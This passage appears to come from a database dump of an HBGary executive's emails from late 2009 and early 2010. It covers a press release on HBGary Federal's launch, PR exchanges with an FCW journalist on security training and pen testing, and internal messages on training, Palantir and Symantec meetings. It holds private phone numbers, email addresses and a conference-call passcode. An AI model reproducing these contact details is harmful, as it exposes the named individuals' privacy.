Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n&nbsp; \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” \r\n&nbsp; \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n&nbsp; \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and\r\n Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp;\r\n HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as\r\n an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program\r\n manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his\r\n tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\n&nbsp; \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; --- On Mon, 12/28/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, December 28, 2009, 4:13 PM\r\nOk, thanks.&nbsp; \r\n\r\n\r\n\r\nOn Dec 28, 2009, at 5:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just to reconfirm, Aaron will call you tomorrow, Tuesday Dec. 29th&nbsp;at 10 AM ET. I will be on the call as well.&nbsp;Best, Karen--- On Wed, 12/23/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"John Moore\" &lt;jmwriter@twcny.rr.com&gt;Date: Wednesday, December 23, 2009, 1:36 PM\r\n\r\n\r\n\r\n\r\nGreat -- thanks so much John. Best, Karen--- On Wed, 12/23/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, December 23, 2009, 6:51 AM\r\nThat time works.&nbsp; \r\n\r\nI\'m mainly interested in the second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n* I\'d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\nI\'ll be at (315) 488-8111.\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 6:49 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nGreat, John -- how about 10 AM ET on Tuesday? If you can, please&nbsp;send over some sample questions, or Aaron can just elaborate in more detail on his points below. He will plan to call you if that is convenient -- please just send your number. Best, Karen&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 12:06 PM\r\nAny time between 8:00 a.m. and 11:00 a.m. ET will work on Tuesday.&nbsp; \r\n\r\n\r\n\r\nOn Dec 22, 2009, at 2:17 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Aaron will be on vacation next week, but is&nbsp;very interested in speaking&nbsp;to you!&nbsp;Please suggest a few times for Tuesday and I\'ll reconfirm final time with Aaron. Best, Karen&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 10:40 AM\r\n\r\n\r\nKaren:\r\n\r\nWould he have any time to talk on the 28th or 29th?\r\n\r\n\r\nOn Dec 21, 2009, at 2:52 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John, If you need an expert for this story, HBGary Federal CEO Aaron Barr would be a great resource for you. Among the topics he can discuss: \r\n&nbsp;\r\n&nbsp;\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n&nbsp; \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems. &nbsp;For example, how many user names and passwords could a pen tester acquire? &nbsp;How many systems could they penetrate? &nbsp;You can conduct training and then, a few months later, retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n&nbsp; \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\nAbout HBGary Federal and CEO Aaron Barr \r\nHBGary Federal recently launched to focus on delivering HBGary\'s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. Prior to joining HBGary Federal, Mr. Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. \r\n&nbsp;\r\n&nbsp;\r\nPlease let me know if you would like to talk to Aaron. Best, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764\r\n&nbsp;\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, December 18, 2009, 7:28 AM\r\n\r\nI\'m writing the security feature for the Jan. 25 issue. The topic is end user IT security training. How do organizations measure the impact of training and whether employees are following through (adhering to agency security policies).&nbsp; \r\n\r\nJohn\r\n\r\n\r\n\r\nOn Dec 14, 2009, at 2:24 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just wanted to check back -- has this story been assigned? Thanks, Karen--- On Thu, 12/10/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Question re Cybersecurity storyTo: jmwriter@twcny.rr.comDate: Thursday, December 10, 2009, 3:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi John, Can you please tell me who is working on the upcoming cybersecurity story slated for January? I am working with a few security companies who might be a good fit. Thanks, Best, Karen&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764\r\n\r\n\r\n\r\n',11164,'aaron_hbgary_com/11164.html'),(919,'2010-01-04','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000139.M388154P3547Q919.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Responder Training','Not that I know of, you need to let DeeAnn know and Jim \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 1:11 PM\r\nTo: Penny Leavy\r\nSubject: Responder Training\r\n\r\nPenny,\r\n\r\nXetron would like to put 1 or 2 people in the next training class.  Is the\r\none for this month full?\r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',3831,'aaron_hbgary_com/3831.html'),(920,'2010-01-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000143.M405563P3547Q920.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','Initial Meeting with Scott on Risk Intelligence',' \r\nTeam,\r\n \r\nI spent about two hours with Scott today and covered three presentations I have on risk intel.  These three are attached, and most have been mailed out before.\r\n \r\nSummary:\r\nWe are working out the cost and engineering time requirements for a &quot;Phase 1&quot; TMC here at HBGary in Sac.  It will include:\r\n \r\n- a replication of the feed processor on site, that mirrors the one we keep in the data center\r\n- a second clone of this feed processor that, once operational, will by physically delivered to Ted in the Springs.\r\n- potentially, the purchase of one copy of i2 analyst notebook ($4000) for use in the Sac TMC \r\n- an analyst workstation, with a connected flat screen on the second monitor, that is mounted on the wall\r\n- our source feed will be the one we currently purchase that aggregates shadowserver / etc.\r\n \r\nFrom an analyst perspective, we are going to identify the malware major distribution systems currently in play (botnets/web/spam).  We are going to codify these to digital DNA.  We are going to use link analysis to attempt to identify threat actors and their intents (see &quot;ops path&quot; in the slide deck).  We are going to include meta data as well as traits in the digital DNA genome that HBGary sells as subscription.  We don&#39;t have exact dates, but I fully expect phase 1 to carry out into Q2.\r\n\r\n \r\n-Greg\r\n',5725,'aaron_hbgary_com/5725.html'),(921,'2010-01-05','\"Scott Pease\" <scott@hbgary.com>','/aaron@hbgary.com/new/1297000143.M785527P3547Q921.eml','\"Aaron Barr\" <aaron@hbgary.com>','Palantir Discussion Wednesday','Aaron,\r\n\r\nHappy new year. Hope you had a good vacation. \r\n\r\nGreg asked me to follow up with you and coordinate developers to sit in on a\r\ncall with Palantir on Wednesday. We will have Kam Lui and Michael Snyder\r\ncall in for the meeting. Can you send out meeting details so I can\r\ncoordinate with them?\r\n\r\nThanks,\r\nScott\r\n\r\n',12573,'aaron_hbgary_com/12573.html'),(922,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000143.M985456P3547Q922.eml','\"Scott Pease\" <scott@hbgary.com>','Fwd: HBGary/Palantir integration','here ya go.\r\n\r\nBegin forwarded message:\r\n\r\n> From: Matthew Steckman \r\n> Date: January 4, 2010 1:02:10 PM EST\r\n> To: Aaron Barr , Geoff Stowe \r\n> Subject: HBGary/Palantir integration\r\n> \r\n> When: Wednesday, January 06, 2010 4:30 PM-5:00 PM (GMT-05:00) Eastern Time (US & Canada).\r\n> Where: ConCall: 877-224-3961 Code: 6897526\r\n>  \r\n> Note: The GMT offset above does not reflect daylight saving time adjustments.\r\n>  \r\n> *~*~*~*~*~*~*~*~*~*\r\n>  \r\n> Aaron,\r\n>  \r\n> Please forward this to your developer performing the integration.\r\n>  \r\n> Thanks,\r\n> Matt\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13131,'aaron_hbgary_com/13131.html'),(923,'2010-01-05','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297000144.M234543P3547Q923.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Responder Training','Aaron,\r\nWould Xetron like to attend training on the east coast or west coast? The\r\nnext scheduled training for the West coast is February 24-25 here in\r\nSacramento. For the East coast, we were trying to pull together a training\r\nclass in early Feb, but it looks like we don\'t have enough folks to fill the\r\nclass at this point, and I\'m not sure 2 more will put us over the top. There\r\nare 2 classes scheduled for March 9-12; March 9-10 is the Intro to Mem\r\nForensics, and March 11-12 is the Malware Analysis using Responder, both\r\ntaking place in Reston, VA. Let me know which of these dates works best for\r\nyour clients.\r\n\r\nAlso, I\'m keeping a training calendar at the Google Calendar site\r\n(https://www.google.com/calendar/hosted/hbgary.com/render) with dates and\r\ndetails about each scheduled training. Check it out...\r\n\r\nRegards,\r\n\r\nJim \r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Penny Hoglund [mailto:penny@hbgary.com] \r\nSent: Monday, January 04, 2010 2:49 PM\r\nTo: \'Aaron Barr\'\r\nCc: \'DeeAnn Buonaccorsi\'; jim@hbgary.com\r\nSubject: RE: Responder Training\r\n\r\nNot that I know of, you need to let DeeAnn know and Jim \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 1:11 PM\r\nTo: Penny Leavy\r\nSubject: Responder Training\r\n\r\nPenny,\r\n\r\nXetron would like to put 1 or 2 people in the next training class.  Is the\r\none for this month full?\r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',3875,'aaron_hbgary_com/3875.html'),(924,'2010-01-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000146.M216156P3547Q924.eml','\"Jim Richards\" <jim@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Responder Training','Aaron,\r\n\r\nXetron is pretty advanced with their existing malware analysis capabilities,\r\nso the class \"Using Responder Pro for Malware Analysis\" is the right class,\r\nnot the intro class.  A description of the class is attached.\r\n\r\nWe charge $2500 per student for the 2-day class.  In some strategic cases we\r\ncan give special pricing for training.  We\'ve even given free software when\r\na customer has already purchased the software, doesn\'t have money for\r\ntraining, but HBGary determines that everyone would be better off when they\r\nare trained.\r\n\r\nBob \r\n\r\n-----Original Message-----\r\nFrom: Jim Richards [mailto:jim@hbgary.com] \r\nSent: Monday, January 04, 2010 7:41 PM\r\nTo: \'Aaron Barr\'\r\nCc: \'DeeAnn Buonaccorsi\'; \'Penny Hoglund\'; \'Bob Slapnik\'\r\nSubject: RE: Responder Training\r\n\r\nAaron,\r\nWould Xetron like to attend training on the east coast or west coast? The\r\nnext scheduled training for the West coast is February 24-25 here in\r\nSacramento. For the East coast, we were trying to pull together a training\r\nclass in early Feb, but it looks like we don\'t have enough folks to fill the\r\nclass at this point, and I\'m not sure 2 more will put us over the top. There\r\nare 2 classes scheduled for March 9-12; March 9-10 is the Intro to Mem\r\nForensics, and March 11-12 is the Malware Analysis using Responder, both\r\ntaking place in Reston, VA. Let me know which of these dates works best for\r\nyour clients.\r\n\r\nAlso, I\'m keeping a training calendar at the Google Calendar site\r\n(https://www.google.com/calendar/hosted/hbgary.com/render) with dates and\r\ndetails about each scheduled training. Check it out...\r\n\r\nRegards,\r\n\r\nJim \r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Penny Hoglund [mailto:penny@hbgary.com] \r\nSent: Monday, January 04, 2010 2:49 PM\r\nTo: \'Aaron Barr\'\r\nCc: \'DeeAnn Buonaccorsi\'; jim@hbgary.com\r\nSubject: RE: Responder Training\r\n\r\nNot that I know of, you need to let DeeAnn know and Jim \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 1:11 PM\r\nTo: Penny Leavy\r\nSubject: Responder Training\r\n\r\nPenny,\r\n\r\nXetron would like to put 1 or 2 people in the next training class.  Is the\r\none for this month full?\r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11846,'aaron_hbgary_com/11846.html'),(925,'2010-01-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000149.M961071P3547Q925.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting with Symantec on Wed','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDid you still want to attend the 11:30 Wed lunch meeting\r\nwith Symantec?&nbsp; We&#8217;re meeting at TDB restaurant in Reston.&nbsp; The\r\ntopics will be\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIntegration of DDNA with Symantec enterprise\r\nproducts\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHaving Symantec be a sales channel for HBGary\r\nproducts\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUsing HBGary products within Symantec&#8217;s\r\nsecurity services \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTeaming with Symantec on an upcoming gov&#8217;t\r\nopportunity\r\n\r\n&nbsp;\r\n\r\nLooking at this list I&#8217;d see HBGary Federal being a\r\npossible fit for the last item, but at this point I have no information of the\r\nnature of the opportunity.&nbsp; It would be great to have you attend &#8211;\r\nyour choice.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12876,'aaron_hbgary_com/12876.html'),(926,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000150.M713901P3547Q926.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Question re Cybersecurity story','1. &nbsp;That is partially correct. &nbsp;Typically Penetration Tests are conducted by external resources. &nbsp;Some organizations are large enough, say the Army for example, they have Pen teams that conduct these tests for various organizations within the Army. &nbsp;These teams may be comprised of a mixture of military and contractor personnel. &nbsp;For most small organizations/companies this work is typically hired out. &nbsp;In some cases organizations will try to do this themselves by reading up on certain Pen testing tools and techniques, but this is never a good idea. &nbsp;Pen tests typically are focused on penetrating the perimeter of an organizations networks. &nbsp;This usually does not involve any social engineering or other techniques that involve employees. &nbsp;Pen testing is typically a blind attack against the infrastructure using a variety of techniques and tools to bypass perimeter security; password crackers, IP and port scanners, web and application exploit tools. &nbsp;Vulnerability Assessments and tiger teams can either be internal or external teams that review policies, conduct interviews, review logs, test network and system security postures, and in some cases conduct social engineering to test the vulnerability of the employees to reveal information that could lead to access of unauthorized systems and information. &nbsp;In a healthy organization both of these types of tests should be built in to the security policies and procedures. &nbsp;The results of these tests should be tightly integrated into assessment of the training program of the organization as well as the implementation of security policies and procedures.2. &nbsp;If social engineering is allowed then there are a wide variety of techniques that are used but typically start in the same manner as an external penetration attack. &nbsp;The first thing an assessor will do is get to know the organization as best he/she can through publicly available information, this could include information on the companies website, thrown in the trash, or left laying on desks and in drawers. &nbsp;The parameters of a social engineering test are carefully defined based on the goals of the test, whether it is to simulate an external or insider threat, etc. &nbsp;Once the assessors have enough information they start to probe the organization for weaknesses in practice and judgement, this could be through spear phishing attacks, targeted phone calls, etc.3. &nbsp;Like everything else there are a variety of reasons why an organization would deny social engineering. &nbsp;Most IT security specialists know very well that people are the weakest link of computer systems and usually socially engineering attacks are successful, so some companies don\'t see the point in testing something they know will fail and potentially create legal issues or a negative work environment for employees. &nbsp;In short most organizations are afraid to conduct social engineering tests. &nbsp;This is an unfortunate perception. &nbsp;If properly integrated into an organizations training program there is a lot of valuable lessons that will be ingrained based on personal experiences. &nbsp;The best lessons are those either personally experienced or experience by people around us.4. &nbsp;My recommendation is for a more robust IT security training program that provides more immersive information that is embedded and organic to the organization, not just posters on the wall and a once a year multiple choice web based exam. &nbsp;There should be quarterly vulnerability assessments conducted internally by the IT security staff, with yearly external vulnerability assessments. &nbsp;Penetration tests should be conducted as needed, but at least once a year or when significant changes are made to the IT security infrastructure. &nbsp;This could be adding new functionality to the corporate website, employee portals, dmz, firewall rules, additional perimeter hardware/software, etc.Happy to provide further information if any areas seem unclear.AaronOn Jan 4, 2010, at 5:37 PM, Karen Burke wrote:Hi Aaron, FCW editor John Moore has some followup questions based on his interview with you last week. Please keep your&nbsp;answers short and&nbsp;know that they may be used as quotes from you in the article. \r\n&nbsp;\r\nPlease send final answers to me and then I\'ll pass on to John. John asked if you could provide the answers by EOD Tuesday (tomorrow) if possible. If you need more time, please let me know and I\'ll check with John. Thanks! Best, Karen&nbsp;--- On Mon, 1/4/10, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 2:15 PM\r\n\r\nKaren:\r\n\r\nI have a couple of follow-up questions for Aaron Barr:\r\n\r\n* From the interview, it\'s my understanding that penetration tests are typically performed by external consultants and probe an organization\'s perimeter security. Testers may acquire usernames/passwords in the process (through password guessing tools?). Vulnerability assessment tiger teams, meanwhile, consist of internal IT staff. The team scrutinizes an organization\'s security policies and procedures and may engage in social engineering, if permitted. Is that the correct distinction?\r\n\r\n* How do tiger teams pursue social engineering attacks? Do they simulate phishing scams to see if they can extract passwords? Do they phone end users? Both?&nbsp;\r\n\r\n* Why do some organizations prohibit social engineering as part of tiger team assessments?&nbsp;\r\n\r\n* The insight gained from penetration tests/tiger teams (the number of passwords obtained and how they were obtained, for example) can be integrated back into an agency\'s training program. So, in other words, an agency might emphasize phishing awareness if many users fall for scams?&nbsp;\r\n\r\n* Just to clarify, Aaron recommends quarterly tiger team vulnerability assessments and annual external penetration tests -- is that correct?\r\nRegards,\r\n\r\nJohn&nbsp;\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 11:04 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi John, In case you wanted to see some background on HBGary Federal and Aaron Barr, I sent you the recent release below. Best, Karen\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\nFor Immediate Release \r\n&nbsp; \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies &nbsp; \r\nNew Venture Led By Cybersecurity Experts and Former&nbsp;Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera &nbsp; \r\nSacramento, California , December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. &nbsp; \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. &nbsp; \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” &nbsp; \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. &nbsp; \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and\r\n Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; &nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp;\r\n HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. &nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. &nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as\r\n an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer 